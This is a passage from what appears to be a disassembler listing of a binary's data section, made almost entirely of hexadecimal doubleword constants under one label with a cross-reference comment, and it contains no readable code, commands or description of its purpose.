		dd 5B47991Dh, 9353B18Eh, 688DE50Ch, 0C06D73A0h,	0C8BE3539h
		dd 0E8039324h, 5CD53AD2h, 0BCD1C0A6h, 4CE577B2h, 0CD3C2C28h
		dd 0CA8700D8h, 90DF3421h, 0A06520A4h, 0B1E8BA31h, 0FE20B4AAh
		dd 0EDA43B27h, 1C825C79h, 69C7224h, 0C070956Fh,	0A046C32Ah
		dd 975DBA3Eh, 0F3063C34h, 12049BDh, 0FB30A239h,	8F921A98h
		dd 64D73B8h, 3C9D278h, 6103463Fh, 101EB536h, 5ECC5511h
		dd 4A159E4h, 2AD58893h,	0D81CD08Ah, 5A00740Bh, 11AC337Fh
		dd 0C1685494h, 0A5CEE4B9h, 0B0F447E5h, 2C3EBA2h, 78B0D24Dh
		dd 650AC1Fh, 0DA831CACh, 39A31A78h, 648C4E89h, 396883FDh
		dd 0FC960803h, 82164C36h, 0CD4643Dh, 4EC43280h,	3C09B9A1h
		dd 867E25h, 0BD63584Dh,	0AFE7023h, 5501870Fh, 0E63D8384h
		dd 0A931DD89h, 0CACED93Bh, 0B2E7CBE4h, 0C24200C0h, 0A2519564h
		dd 0E2455D93h, 6045DEE8h, 5F11D8EDh, 58C6AE44h,	18948C4h
		dd 77A5A97Dh, 0E054CC1Bh, 677A0E22h, 0A1284C60h, 0CBFD89C6h
		dd 94188440h, 750088D3h, 3E5953A6h, 0EDD2FA4h, 0B47C5A97h
		dd 813D6B64h, 2DEEB14h
		dd 98904293h, 34BF3Ch, 3F73BE13h, 0CB3621F7h, 7C3ED0FAh
		dd 31D58610h, 0A152C5h,	33BD22BFh, 88E79985h, 9ECC3Fh
		dd 0EF202E3Ah, 2EB4001h, 0E61A498Ch, 30C1105Ah,	0E87110E3h
		dd 10EFE67h, 6138214Dh,	0C7CDCF32h, 940F2B7h, 130CDC60h
		dd 0C0E46D80h, 33226639h, 0A300ABA0h, 97F6D932h, 79A2ED72h
		dd 956A00EEh, 5F0E391Bh, 94A0829Fh, 8F55C1EAh, 15423F4h
		dd 888C3B34h, 0EC300277h, 0CA1C4045h, 416C3C06h, 9810F18Fh
		dd 0B53620D0h, 5711A202h, 81DFCF7Dh, 9B19CCF8h,	610CB822h
		dd 8329896Ah, 0C7315490h, 5A93798Bh, 0D3011422h, 9956859Fh
		dd 64A0824Dh, 8ED661FEh, 67E122E4h, 3DDB0042h, 64618710h
		dd 922A3BC9h, 1F4F2710h, 8856B01Eh, 59CD53C0h, 7CC8C675h
		dd 0E2A7008Fh, 11CC3D20h, 50A01D95h, 0A180963Eh, 10FD0243h
		dd 5BE0CC2Ah, 0A709F844h, 85FEBD05h, 0C4C88930h, 0D4D048EAh
		dd 1986B581h, 0C6B9845Ch, 0F00FD8Dh, 0DDCE05ABh, 3208E459h
		dd 40CA416Fh, 3086AD5Ah, 8D38713Dh, 55489343h, 85D6C384h
		dd 263922F3h, 0B2915A09h, 4630A2AEh, 9BC64BBh, 3706E050h
		dd 0EEFE3383h, 9810CBC3h, 65024B9Dh, 0A4A57E0Dh, 0A2D4C848h
		dd 0E413B900h, 0DACB1D12h, 5A94180Bh, 0A73B51E3h, 5C9A0F2Eh
		dd 0EFBAE506h, 2A6B0019h, 0DD023A61h, 0A100E6F8h, 0B5F2B862h
		dd 0A92666h, 0DBED0A1Fh, 7C0950ADh, 0CB0A98B2h,	988E2A27h
		dd 6A5E1A80h, 758CA8h, 18745D5Fh, 365FEE5h, 0DB446C92h
		dd 5A460081h, 0A6544CC9h, 0E706BD25h, 3856941Ch, 1BD17158h
		dd 31DA6E10h, 60F53491h, 742637FEh, 2A12884Eh, 0E5DFDC90h
		dd 0C1BA00D7h, 0F048C809h, 9D00834Bh, 0CA5E6CA0h, 0F5C565F5h
		dd 3913FC50h, 6E2901FDh, 6B5C4105h, 42508216h, 0C9DD2709h
		dd 0C010E27Ch, 5B14D472h, 84E050C9h, 1018D9B1h,	4520CE04h
		dd 8598A3E3h, 0CAD0B0D0h, 0E67F3509h, 0FC9D8050h, 354A1D73h
		dd 861A40Fh, 19CA02C3h,	5C44F2FBh, 48B2B620h, 0A283A829h
		dd 0FEA2F07h, 22C56561h, 6E8D0450h, 34015101h, 0C3FB39CCh
		dd 10524824h, 0FC28E618h, 30E960D9h, 4364E0D5h,	4BF184A8h
		dd 52672A05h, 78025793h, 4899FE66h, 1CBC056Ch, 0DC1EF443h
		dd 0B9D00042h, 0C582335Dh, 0EABB0200h, 76C2D45Ch, 567D1E83h
		dd 939E0092h, 2A5ED313h, 102C865Ch, 8A049106h, 0E4C41ACDh
		dd 82E83138h, 9E63AB1Ch, 0A662C880h, 23FAFDh, 68C7A045h
		dd 0F667C27Ah, 288B159h, 0C6EB1CDCh, 0D80A098h,	8068556Fh
		dd 59DE64C4h, 0E8703D00h, 70B2C85h, 868836D4h, 0C529AD89h
		dd 0F87F0083h, 0AE0A0110h, 222ECFFEh, 0B635FCC8h, 0EA8C3200h
		dd 8FB7523Bh, 1104A746h, 34DD00DAh, 0B553060Dh,	35CC0008h
		dd 0CF488E96h, 460CE0Ch, 0D6518F18h, 0F09CA2h, 3E4C0BF5h
		dd 0F8078DB6h, 494DF379h, 6ABB39A0h, 97A13CEDh,	0A404EB86h
		dd 0CCEA403Dh, 58923637h, 0C107E7C3h, 108379A7h, 728C3514h
		dd 2E5D2800h, 0B7E08F7Eh, 0ABB30BD1h, 0DD006BA8h, 9A9CA5A1h
		dd 3C54490Fh, 80276D0Ch, 0F04102F0h, 109060E2h,	8ADF562Ch
		dd 813674A1h, 96CD5F08h, 0E0D38B93h, 36A4B40h, 0CC0A6F56h
		dd 88187A17h, 0F8E1C355h, 0DF4550EEh, 282D781Fh, 0C301CCEh
		dd 50FAD5CFh, 0D7054288h, 0F6CEEBDEh, 0AC242280h, 0AC8C569h
		dd 0E8082186h, 0C59186D4h, 0F041F6ADh, 51CB2A86h, 670F0EC4h
		dd 919BE40Ah, 860C3AF8h, 8B4A79C0h, 61E411FAh, 0BE522113h
		dd 5905D30Ch, 243A7285h, 2CD71842h, 12E0A0D2h, 0C8CEEE1Eh
		dd 0FA893470h, 0F0810B3h, 808FE947h, 3C9D360Bh,	0AB73D900h
		dd 8F618A4Ah, 841FA128h, 1827DE44h, 4193E10Fh, 77076267h
		dd 56C83409h, 9C3ACBB0h, 46690279h, 0BCF68AEBh,	1CCFF890h
		dd 0AF8B4CA0h, 9AA0BA54h, 50E1E018h, 88B450h, 4D3BF46Fh
		dd 66E94C91h, 4F490100h, 0BF34299Bh, 0D3610012h, 5C8C4BEBh
		dd 0AF132471h, 4031C0Ah, 90A66F44h, 780F34FFh, 5BF7019Dh
		dd 0A96099CFh, 49B5DC2Ch, 1C364C00h, 76508651h,	0D8BB0F25h
		dd 4A03411Bh, 4000A566h, 5F800F2Ah, 0CF6EF1h, 359F448Bh
		dd 654FA9E6h, 52FD300h,	14764C8Fh, 1B0A00F0h, 7A4A90F7h
		dd 0E83B6F9Bh, 5F7F0230h, 44DD6EE3h, 57048DC8h,	0FB80F8EAh
		dd 5D8D4935h, 0D890F1h,	3D9D5998h, 260AC1E6h, 382AD900h
		dd 25685141h, 0CD800FDh, 69499D42h, 0E33321E9h,	0B8434034h
		dd 8F1829h, 0E735B387h,	0CA734FAEh, 86393D00h, 0DC52B144h
		dd 3C031728h, 0EDFC0689h, 4B3F406Fh, 76E82087h,	2A940095h
		dd 694FB601h, 540026DEh, 29A3588Fh, 0CF14FDh, 795E8D44h
		dd 0FEE421A8h, 87383Ch,	9AFF29F6h
dword_49005C	dd 4C2A954Eh, 945238F3h, 30F9B0EBh, 48830050h, 99D65BE7h
					; DATA XREF: ___:off_427B6Co
		dd 3500A687h, 6E4FB501h, 1053CE2h, 2E684C7Fh, 0D90616AFh
		dd 9BA5F884h, 34FE2407h, 0C0AE8848h, 60491D72h,	0E62B009Dh
		dd 0D07CFC80h, 8E004A40h, 0FF4D8D85h, 0C380C1Ch, 0E9B15097h
		dd 4A7F3240h, 490300FDh, 35A80045h, 610A80FFh, 370028D6h
		dd 2E648F9Ah, 20D8F3h, 665F973Ch, 2838239Bh, 914A3Ch, 8E015924h
		dd 2C37A846h, 0D58C72FFh, 388700D4h, 830F3BFCh,	5B00F644h
		dd 97539904h, 873333Ch,	22D9924Fh, 2F755F00h, 100AF6h
		dd 66434A44h, 3BFA6F9Ah, 91885400h, 901D6AEFh, 34A70057h
		dd 6212ACF3h, 53002B21h, 29708F85h, 60C1AE8h, 7944251Dh
		dd 49E25CE6h, 0E54E8000h, 87851455h, 341F0098h,	0DA904FC2h
		dd 8FE83A3Dh, 0AF1A7205h, 84802119h, 76A56A46h,	470B017Dh
		dd 6724608Dh, 0DA44D418h, 0B3012D01h, 41217250h, 884AAC60h
		dd 423F040Fh, 88AF2998h, 0F67F0423h, 9C125E00h,	9E0A6444h
		dd 0F6821E7Bh, 4694FA5Fh, 0AB3422h, 1A684F95h, 0E7B6A32h
		dd 82446627h, 0AC972D61h, 0E01C5C2Ah, 106ED333h, 0DF81E069h
		dd 0AF21C091h, 8710EFFh, 0B336130Bh, 9D2C6110h,	0F7502180h
		dd 7CA3BF0Eh, 610C26E4h, 59BADA51h, 763E00BEh, 0C40ACB88h
		dd 8E00AC7Dh, 7F7D748h,	0BC93C9DCh, 52FC8850h, 3A591B83h
		dd 0B622E034h, 6646008Dh, 0D6F55FAAh, 94B636F7h, 80CDD380h
		dd 0A54502Ah, 89FEE2CEh, 6A8C41Ch, 91B8A9h, 0B99D143Ch
		dd 0FFA18DC0h, 0CF577207h, 4970ECADh, 1EDF4154h, 0B358C5D0h
		dd 2CF84210h, 0E7526752h, 8A660798h, 0C1DB56FAh, 998C744h
		dd 8206213Dh, 71E1FA00h, 0A562B6A9h, 68D7F33h, 6C2CD71Ch
		dd 120BE86Bh, 0C8A851E4h, 0F1E00B00h, 2D12800h,	8C7C7028h
		dd 0FE4C9822h, 90162AD6h, 918860D8h, 42A29E3Eh,	8F61B61Eh
		dd 0C4002DD7h, 49CC0ACFh, 0F960C5C1h, 0C0805CBBh, 4D793B3Dh
		dd 6D02A580h, 49081DBAh, 867081B4h, 0C244FCCh, 0E44E90D2h
		dd 6D570783h, 115918CDh, 239356CFh, 3097A214h, 5501D3B2h
		dd 0C3C07765h, 0A0A0ABC1h, 0D9861EC3h, 8804450Fh, 714CE054h
		dd 760C3C0Bh, 6CD8C89Dh, 5FC4809Eh, 0E5D72800h,	40364B07h
		dd 5A803014h, 0A8C56528h, 304C845Fh, 0D541D8h, 0CA3E2751h
		dd 0A1C61182h, 1F6A5D00h, 1CCF01CEh, 2374130h, 883069F8h
		dd 0CF5811FAh, 80428886h, 0B8FA8004h, 25007660h, 7936C523h
		dd 0AD7290Ch, 5E8B11E7h, 0F9FB09CEh, 54978C10h,	408D8501h
		dd 38566A63h, 0AB30647Ch, 855C7421h, 0DB603Ch, 0F43675B0h
		dd 4A6A25B8h, 870888E8h, 0BC6D3000h, 7C8E91DDh,	28BDF0D7h
		dd 1CBBA31Ah, 5738FAAh,	1434DCFDh, 0DC402491h, 0EE08C84h
		dd 1B086E10h, 0EF84DE0h, 7B01D4E2h, 0BC09F4FBh,	0D8009D0Dh
		dd 0D90F1EE7h, 0C95F67C4h, 34C1882h, 1834032Ah,	633746Dh
		dd 0BEF0D19Bh, 7F07F6C0h, 5B790A55h, 0E01A4193h, 1EFE596Fh
		dd 0BE1C40C1h, 1CCC450h, 47916208h, 40925CDDh, 3B1CCEE8h
		dd 28A8FD50h, 82F6A83Ah, 60B77827h, 5C44AEh, 0FFD27032h
		dd 4AAB7BD8h, 801DD15Fh, 68912170h, 80EB01D2h, 13DB7CC5h
		dd 90A6DE35h, 5E3FC190h, 0C0E499CFh, 38207178h,	82083EA7h
		dd 0A932600h, 1C04D97Fh, 8046ACA6h, 720EFC01h, 0C35FB08h
		dd 0F451889Ah, 0D3A00E00h, 0C621DC9Fh, 67A70422h, 0C1872342h
		dd 131D464h, 0ADDD5B47h, 8A439A4h, 0CF1CB221h, 0D5518C42h
		dd 0F1C49A6h, 88B70981h, 86AEA9E3h, 8D365B28h, 0BBC01119h
		dd 38304889h, 0B237C364h, 0CD6FD341h, 48878C89h, 306734BCh
		dd 84D45790h, 1158C493h, 0A9D6990h, 286B700Ch, 0D8407C91h
		dd 18093F4h, 40888559h,	88AC185Bh, 85076179h, 6668E841h
		dd 4ACA67D0h, 8470634h,	70B8ADD4h, 9460AA58h, 8CA4E8B0h
		dd 0E8A02530h, 4D0C4304h, 18783C84h, 0E08AA4C5h, 4450CF3Ah
		dd 6840B8F4h, 0DDCC1308h, 405C437Ch, 39961034h,	0A040ACE2h
		dd 0C3921F58h, 142830E1h, 2D13F6B8h, 2C606652h,	2355FA8Bh
		dd 43116ECFh, 0FA830900h, 46F8C00Dh, 0F67FD500h, 0D9B0C394h
		dd 91D4600Ch, 9B55CBCDh, 84427F81h, 855A30F5h, 53408711h
		dd 7A80AF88h, 0B42E8562h, 5FA400D7h, 576ACA38h,	263DA023h
		dd 52EC80D2h, 0A26FE8ABh, 7916007Ah, 3A561D6Bh,	381E8108h
		dd 89406ABBh, 4EB581Bh,	9882E924h, 0A5D1BC0Ah, 9634DD00h
		dd 9424FB1Dh, 3028C85h,	33086D0Fh, 10981936h, 10EFB4Ch
		dd 0AD359F79h, 0D148075Bh, 57D064D0h, 0D1A00A00h, 0FFD42BF8h
		dd 0A1700EBEh, 0D0410702h, 819D04D5h, 4F5C1128h, 0BC609E8Fh
		dd 51A740B1h, 5A0CBE11h, 0C4DD6F0Ch, 10075859h,	8540AFA5h
		dd 966C71C9h, 23103A4Ch, 9670039h, 4BE6E27Ah, 2A8419C0h
		dd 8CDD957h, 36E76802h,	0CBA7CC80h, 2FB35Dh, 27417A29h
		dd 10AD1179h, 7094E102h, 5C59744Ch, 0D7F48684h,	521810CAh
		dd 319985DFh, 0AC4C3ED9h, 841C3580h, 69E0C99Bh,	0F12AE401h
		dd 0D8FE3805h, 1D808C34h, 897A3A55h, 74805771h,	0A5A20CD0h
		dd 4D801C4Dh, 751CBC60h, 517A87h, 6784B378h, 0F9FECE37h
		dd 9129A860h, 709D2Fh, 715A20Dh, 8779498Bh, 98282500h
		dd 0C76CD974h, 0B08E78F7h, 524A664h, 7ED19239h,	62F80A93h
		dd 0A5465650h, 326D3B7Ah, 19B5D598h, 0C2E04A0h,	0A84A044Fh
		dd 2A34674h, 0E80440EAh, 896C5E49h, 181011BFh, 0C54AF3C6h
		dd 19A40009h, 0F8104C44h, 5A056DA2h, 8CECD5CDh,	0A323C03Eh
		dd 0D088EF18h, 0F9A28044h, 988EF826h, 5680F14Eh, 73408B85h
		dd 760028A5h, 68E7855Eh, 49CF2686h, 10F994BCh, 47155403h
		dd 5DF08E62h, 8901DDDBh, 0D5842A42h, 3AFC17D1h,	72C30568h
		dd 9059E3A8h, 0DE0E5B18h, 1174B700h, 9827AC7h, 0E8B65850h
		dd 6E015E23h, 4BD901D2h, 93440019h, 0F003D266h,	0C0DE2F7Ah
		dd 9CF810C8h, 462C0447h, 0BC8909BEh, 36FB7040h,	10C54CA2h
		dd 0E2D13781h, 88F84E8Ah, 0BE76C0ACh, 0E302654Fh, 0D1B851DDh
		dd 0AD2CC039h, 609360CCh, 0D727B203h, 82C82425h, 5E5F0F74h
		dd 0A02313FCh, 640BDE3Ch, 0DAE33h, 719B9018h, 61A998C0h
		dd 0ADC5C85Ch, 3874F2ECh, 8028CA88h, 0F4261274h, 0E1F8CE78h
		dd 1CCF080Ah, 64A8FCDCh, 8158654Dh, 0CF54FA8Ch,	103B31D6h
		dd 0FA8408h, 42749F4Ah,	0CF02B0DEh, 21A2F603h, 441240Ch
		dd 0DCBCEC0h, 426094BAh, 0D97C6D44h, 8914FDE1h,	873399E9h
		dd 0B3C2847Fh, 79A859ABh, 268183Fh, 0F392F0FCh,	54C07479h
		dd 5706910Fh, 0BD2DCBB2h, 34D70C88h, 707850ECh,	42C2648h
		dd 0B4785616h, 384B0CCh, 1EDAB135h, 2DA87615h, 0E20073C5h
		dd 28115982h, 123BB14h,	720CCD6Dh, 64A1CC04h, 241A2FF8h
		dd 0E0604DF4h, 15DBEE08h, 0BC9356D0h, 0E80C3D04h, 0D6F6009Dh
		dd 0CF714024h, 5A055930h, 97C8842h, 3A88A055h, 3F173816h
		dd 9D23243Bh, 68BB813Fh, 184B3CDDh, 878ABC50h, 1ACF12C2h
		dd 0F684CC41h, 7E8EA03h, 147D1BCCh, 0E8C1F7D8h,	443A0841h
		dd 90B6FA84h, 110C6274h, 567F7304h, 948E87C8h, 0C0CEA588h
		dd 0CADEF39Fh, 0FAFE01B3h, 0BA3E1273h, 0F0B43671h, 2E537DEh
		dd 0E2427F1Dh, 0D4C613FEh, 649F4427h, 7D1F008Ch, 0DD42B65Bh
		dd 209AD6F7h, 0E2AD10A0h, 97C8D750h, 0FA94A39Dh, 833900A7h
		dd 1ECDC642h, 700976Bh,	3250EBE1h, 15115718h, 0C489DF5Eh
		dd 142BBE00h
		dd 0EDE5A49h, 0B62EE100h, 516167CFh, 1ACB021h, 0A86F86FDh
		dd 349481D3h, 0CC943480h, 11D40882h, 0A4020BA2h, 86023640h
		dd 0A88464C4h, 1D5D4C8h, 544C7AAEh, 254707BEh, 3834306Ch
		dd 0C0A6E524h, 3D3EA03Ah, 0C45DC40Ah, 283C127Ch, 951C9C6Fh
		dd 0FDD2381Eh, 2E9312C0h, 93287F2h, 0FF0D83Fh, 91B7B0C0h
		dd 0A2D46553h, 96A330B2h, 0ECD85102h, 51131A45h, 0C3928214h
		dd 14BEBDh, 9E8DC6Dh, 0B4FA77F6h, 0AA2451C0h, 3E355ACFh
		dd 7ABBDD6Dh, 40EBD501h, 3153780Ch, 0A2302378h,	89303038h
		dd 1C40A21Dh, 0CD9C9C66h, 96105500h, 166CFA64h,	2F6209D2h
		dd 1B0239Ch, 0EBB46359h, 820AE8EDh, 0E00CD90Ah,	0FD00803Ch
		dd 0BBE5688h, 90506C5Dh, 48C68C0h, 0CF57FA89h, 203C629Eh
		dd 2BFA8107h, 37555B00h, 680DAFEFh, 215060E8h, 66E44EB8h
		dd 5804F8FBh, 0E087F909h, 1D1C2992h, 899C1138h,	0C5B48250h
		dd 9945848h, 3BE43C42h,	99C4A068h, 0C6DC3881h, 0DD88C041h
		dd 61DE8AB5h, 34103C9Ch, 4096D584h, 0F9B7F237h,	3B8E4EF4h
		dd 7A6231Ch, 0C375692Dh, 60118DCFh, 0E0182CD6h,	2ED3C984h
		dd 7B2B3400h, 0BB99143Bh, 95080367h, 0A0727A31h, 725AC4F1h
		dd 0F6886420h, 8A855760h, 504B4026h, 75F7770h, 1C42C885h
		dd 0A1488C70h, 34AC38B9h, 6DDB00DEh, 156435A2h,	1C057CBFh
		dd 0D9BC0A2Dh, 0B971ACB0h, 18ACD1ECh, 0DF1200FCh, 66AB624Ah
		dd 3F16675Bh, 44104E8h,	0CDEFD729h, 0D802F463h,	0C9E412CCh
		dd 70558CC9h, 38927D64h, 465E9094h, 4F750038h, 0D0120A48h
		dd 918EF4A5h, 0FEC292Ch, 0A40017C7h, 6B107998h,	24E861CAh
		dd 0DFBF0038h, 0FBA22855h, 0F02C0989h, 8D800F6Ch, 0D245AE5Dh
		dd 52E78D05h, 8041BDD6h, 0F9780A55h, 0D8405C2Dh, 0C6594098h
		dd 0D1B46C12h, 0A4712008h, 56480C10h, 97041891h, 759D6C74h
		dd 3082A482h, 70240EFEh, 9427A008h, 0F64F0300h,	30FFB00Eh
		dd 2A400A98h, 6C6A2526h, 59639E01h, 403036D8h, 0FA4D12ADh
		dd 32940B47h, 0B8C25058h, 2797F980h, 564F85BEh,	0C03C4484h
		dd 0A5CF4154h, 0A841A464h, 9D310BEh, 80C54D29h,	86F78C0h
		dd 0A37DBC13h, 0DC8CE4D3h, 1E4FA33h, 58F83CC0h,	0D7268040h
		dd 24CC58EEh, 1CB886C0h, 20C45EECh, 0A90B202Eh,	0C7D85C02h
		dd 81D194E0h, 9A6D30Fh,	3CCEE183h, 0B85121F4h, 0B870AAF8h
		dd 8952024Bh, 62B77848h, 72960459h, 6BD85404h, 432204B3h
		dd 0D27F6AE4h, 52268116h, 0FE64881Fh, 0F841013Bh, 0C1B4A5A2h
		dd 840F092h, 470357F0h,	29B3CCDh, 2DDFCE18h, 604C6452h
		dd 53FA8D04h, 50A27ECFh, 0FA850BC0h, 0CCF007D5h, 0D9116B02h
		dd 803BA424h, 0A72860A0h, 0FD4A120Eh, 0F7D00870h, 898558C0h
		dd 0A0435840h, 856078E0h, 0D3323400h, 4D1EDBA4h, 2D74B85Ah
		dd 589837ECh, 0A800286Fh, 212E86C4h, 9CA49FE8h,	4EA640B4h
		dd 0C0000298h, 0CF7D7B3Eh, 0F6C1C9C8h, 0D3A30B19h, 0F4001021h
		dd 4DB0A67Eh, 598CE037h, 20CAED50h, 9F4F0782h, 40A1693Ch
		dd 79BCF603h, 842C975Ch, 70004790h, 964CC5CFh, 3A27A8A0h
		dd 0F9FE6D1Dh, 1173F6C0h, 1DC24659h, 6CF81442h,	84D58918h
		dd 3037442Bh, 1275D680h, 0BC79209h, 3A5B60B0h, 9040AC92h
		dd 5780B961h, 0CA851FF7h, 7404205Bh, 0EAF91F11h, 4489882h
		dd 0FAEC806Dh, 0D52489BFh, 0A4AF0C7Ch, 7CC1D020h, 0DC7CBC45h
		dd 1F90718Fh, 8D16ADCFh, 420C98D1h, 74E8E0A6h, 0DA003F46h
		dd 0A8999EC5h, 3A0CE51Ah, 5035A434h, 335B1146h,	0DDC509Dh
		dd 0CA8C340h, 3B0FE557h, 0E9B080h, 24F2D128h, 1CEC0ACBh
		dd 0D0946D3Ch, 0DC148A09h, 4834C821h, 0CB4284C0h, 0D424D70Bh
		dd 0A08478h, 8482899Dh,	6F605FD4h, 0D823FED2h, 4D1173h
		dd 0A9D26792h, 235943Ch, 9FB824D3h, 646187F5h, 0AB511046h
		dd 0E4110AEEh, 64B88995h, 24CD4E5Ah, 38009CD0h,	0CF13F1DAh
		dd 0D5C7970Bh, 0BA5CC0E4h, 50909A4Fh, 2282C12h,	0CC0FE7D7h
		dd 4F03958Dh, 72982477h, 57A4084Ch, 68A54702h, 86580385h
		dd 30938DEh, 0E86B80D4h, 64D0E160h, 52DC3851h, 1762DA09h
		dd 81B191F4h, 0BBF6C345h, 1B939D8h, 5DB391CFh, 7868DD6Fh
		dd 867200B8h, 0C0BF0BD9h, 94AD1B47h, 740118A5h,	4424E76h
		dd 0A18275D4h, 49202CD7h, 98110459h, 0D388B806h, 5B1811F9h
		dd 4344D606h, 78D06ADDh, 4D5D119Ch, 60867408h, 0DD37B998h
		dd 242CEBF3h, 0E88A1818h, 1580B44Ah, 0EF7AF75Ah, 865D0923h
		dd 241854D0h, 828237C4h, 0D1A975A8h, 24DC3C84h,	0C898CAD6h
		dd 0BFB1C038h, 5A02118Ch, 0E846E6F1h, 0D1FC906Ah, 5CCE5801h
		dd 358040Dh, 2C42E280h,	10874C0Fh, 630C8AFEh, 6CE9411Bh
		dd 0D7A8243Ch, 104CF148h, 38C4A39Dh, 55AF0651h,	53DF0439h
		dd 813DC3FCh, 7C52A8E0h, 90E08EE8h, 0FBDC5D00h,	874C04C0h
		dd 0F1C2A0F6h, 601AD6B1h, 7D944Eh, 1175CD66h, 503A84Dh
		dd 651B5F02h, 78043CD7h, 9F00A0B4h, 64C5034Ch, 669C241Fh
		dd 68CD1830h, 1726D742h, 20E8D0D8h, 66452900h, 0F0F97501h
		dd 0F588CE5Fh, 5FCD6DD0h, 93008301h, 722FEBC8h,	6036BE30h
		dd 0F42C7021h, 64B9DFh,	0CCD9A8C7h, 1C1C4382h, 0D540136Eh
		dd 62711730h, 6A51044Ch, 0B0FAD50h, 0A81C3072h,	0EF4009D3h
		dd 3802585Eh, 280AAC59h, 9B4A6C11h, 6D508358h, 960F78Dh
		dd 827CDDD4h, 73E48882h, 0E489F507h, 66C90170h,	0B4EA76Dh
		dd 0D82888BBh, 45A1338h, 8AE8488h, 0C4E11B8h, 7987E072h
		dd 0D35A00A6h, 7C1E54E9h, 2812F09Fh, 0BCA23F5Bh, 0BADDC30Ch
		dd 6852F789h, 319EB26Ch, 91DEECF6h, 0D834C009h,	8444045h
		dd 0AAEB125Fh, 9C34045Ch, 6546025Bh, 4034F0C0h,	43015287h
		dd 427EF699h, 9433CDCFh, 7C0C4009h, 0F4D37C41h,	0B6972316h
		dd 0D6AF40ACh, 504ADCF6h, 0C1058C91h, 1D2CDD00h, 1459F02Ch
		dd 6F877605h, 9CF2FCF2h, 58A2DA30h, 0DC17D49Bh,	10341DBAh
		dd 870A134Ah, 0C6DDC002h, 66D4C2ADh, 9F454458h,	91804B50h
		dd 0CBD49448h, 0B0201849h, 0E0168392h, 0B0324614h, 887B296Eh
		dd 126ED570h, 40BCF97Ah, 10C07230h, 0FB1213C7h,	9B078AF3h
		dd 82791D4Ch, 19A64524h, 2380336Dh, 0FA87016Ah,	2B8ECF59h
		dd 705182Ch, 0DF95FA7Fh, 346120F4h, 0BE01B08Eh,	2387480h
		dd 745CC2F8h, 1F3E8896h, 0D9427412h, 9EA47805h,	5D2234E2h
		dd 8E3B5B1Bh, 2CD0D531h, 0AE87674Ah, 4199442Ch,	10201958h
		dd 0C2C85390h, 0CC4334AEh, 0B334E88Bh, 4430C4E8h, 2380323Ah
		dd 20E6CD37h, 91351C21h, 3C400490h, 0B8E433F4h,	4A9A4260h
		dd 5C8340DAh, 3BC02B3Fh, 0C900D58Ch, 820F6CBEh,	12D012CCh
		dd 174468D7h, 4BF80844h, 2E961000h, 9D20F5ACh, 0B1106C95h
		dd 4898098Bh, 544A34D9h, 0C404F0C0h, 881C265Ch,	59EA028Ch
		dd 0A884CEFEh, 0C21A4A56h, 0E8046212h, 421AD6Ch, 461E0834h
		dd 3BE1228h, 0ACC58430h, 4694A483h, 855502F8h, 1C7B408Ch
		dd 855D7500h, 78D7E7FDh, 185905A3h, 0C59397E2h,	814CD438h
		dd 0BC4EE778h, 0F538071h, 62963427h, 2CC1746Eh,	50A812ACh
		dd 50A0507Ah, 0D491857Ch, 1042E808h, 0B9B2244h,	2DFCDC6Dh
		dd 0FCB32896h, 0AE6EEE04h, 996888h, 6BF23575h, 14C0825Fh
		dd 0FF3EC0E3h, 0FCD8410Bh, 0C3B01AD6h, 90CEB0BCh, 0E9AB0051h
		dd 3B029C66h, 0D009DCD2h, 56738FC5h, 0DDC81E74h, 0E770704Bh
		dd 7826B53Ch, 7F1124CEh
		dd 730EFD80h, 16970308h, 0F5E47Ch, 26D2D90Eh, 0AF0799B5h
		dd 7F805C96h, 41CBE903h, 0AB7B009Bh, 73AD2304h,	1B121C39h
		dd 0FCD5D752h, 9C0050B2h, 0C8377626h, 72027FA1h, 71282BF1h
		dd 0AF94495Ah, 808BE001h, 0EDA9D131h, 627D788h,	0AFB3F9D2h
		dd 0FD5C815Ch, 0E8BC0077h, 960EBDB4h, 0DCBB0053h, 0E40455A4h
		dd 0B8B19419h, 33BD408h, 0BE4E120Ah, 0C8E64CA2h, 8916CA74h
		dd 200AB878h, 8282DCB9h, 2F4505BEh, 8340EC80h, 385C5B6Ah
		dd 53E88690h, 0BB5A0A21h, 921F24h, 95DCDE64h, 0D304C27Eh
		dd 4CB6F1D5h, 1C148880h, 2A18022h, 803CE14Ch, 851DFC5Eh
		dd 0D7640959h, 9851AF7Eh, 64183F79h, 0CD87FF05h, 588173C1h
		dd 0BAC478A7h, 91CB3BA8h, 860D6CD0h, 9D410820h,	49916017h
		dd 0D711C380h, 0C65AE2C0h, 0F41D0812h, 3D0757C0h, 0E2A7D0Ch
		dd 0AD6F8DC1h, 103CC4F6h, 60F80ABh, 159CD386h, 9F22FCAAh
		dd 35E4820Fh, 22AE4011h, 33787Bh, 0A465C997h, 0CDCA7AA9h
		dd 3DAB9B0Ch, 0E17010h,	90619A46h, 0E04273F6h, 935ED001h
		dd 3CFFCD6Dh, 88014455h, 0D977F5F0h, 9C38B0ECh,	66EF80B8h
		dd 979BCEFFh, 39BC0A0Ah, 0A42098ADh, 0A7E29D20h, 609A44A0h
		dd 3D9D4B8h, 444913Fh, 0D293CF86h, 0FAA444B5h, 78CFDBEh
		dd 0B493E302h, 11E6CD00h, 3921007Dh, 0EACF8BFEh, 0F7012072h
		dd 37A680A7h, 0E080284Eh, 84FD3802h, 0D92F34DDh, 815C8F5Eh
		dd 29DFCF09h, 0FB47020h, 0A9FED218h, 443CDD82h,	1C106CD8h
		dd 0A00055D0h, 718A1251h, 0A4E9DAFh, 706030C9h,	4A05BD7h
		dd 7406C4Ch, 14A2512Ch,	2E684944h, 178FE7F4h, 0C0E69FDDh
		dd 0A3C638D8h, 0E8E8964Ch, 3A3E8CB0h, 790981D3h, 0F6CC041Fh
		dd 0C800D321h, 975F112h, 0C885E7EBh, 8061E86Ah,	0BC162AA8h
		dd 963AB82Ch, 8B2C168Ch, 0CE3A88ACh, 693FAFE6h,	0C219F900h
		dd 538993A5h, 3696005Fh, 0C36CE4B1h, 9D068F85h,	58AEAA7Eh
		dd 38A10031h, 930C4F8Ah, 8B139F42h, 830010C5h, 882904FAh
		dd 0D4621D71h, 0DDB83175h, 221C6398h, 0D0F900DEh, 4C6C4EE2h
		dd 0D3385AC0h, 282CCDDDh, 3140C442h, 404F1E2Ch,	0D45D1434h
		dd 0D5646092h, 0E026CECDh, 465E302Dh, 37DB0042h, 0C7AD7713h
		dd 71C32CA0h, 0C2A278Ch, 0BC972DC0h, 0C0803E91h, 0D2FDF709h
		dd 0EAD1F600h, 0B877FC92h, 0A8280F5Fh, 0C91EBFC7h, 844568E8h
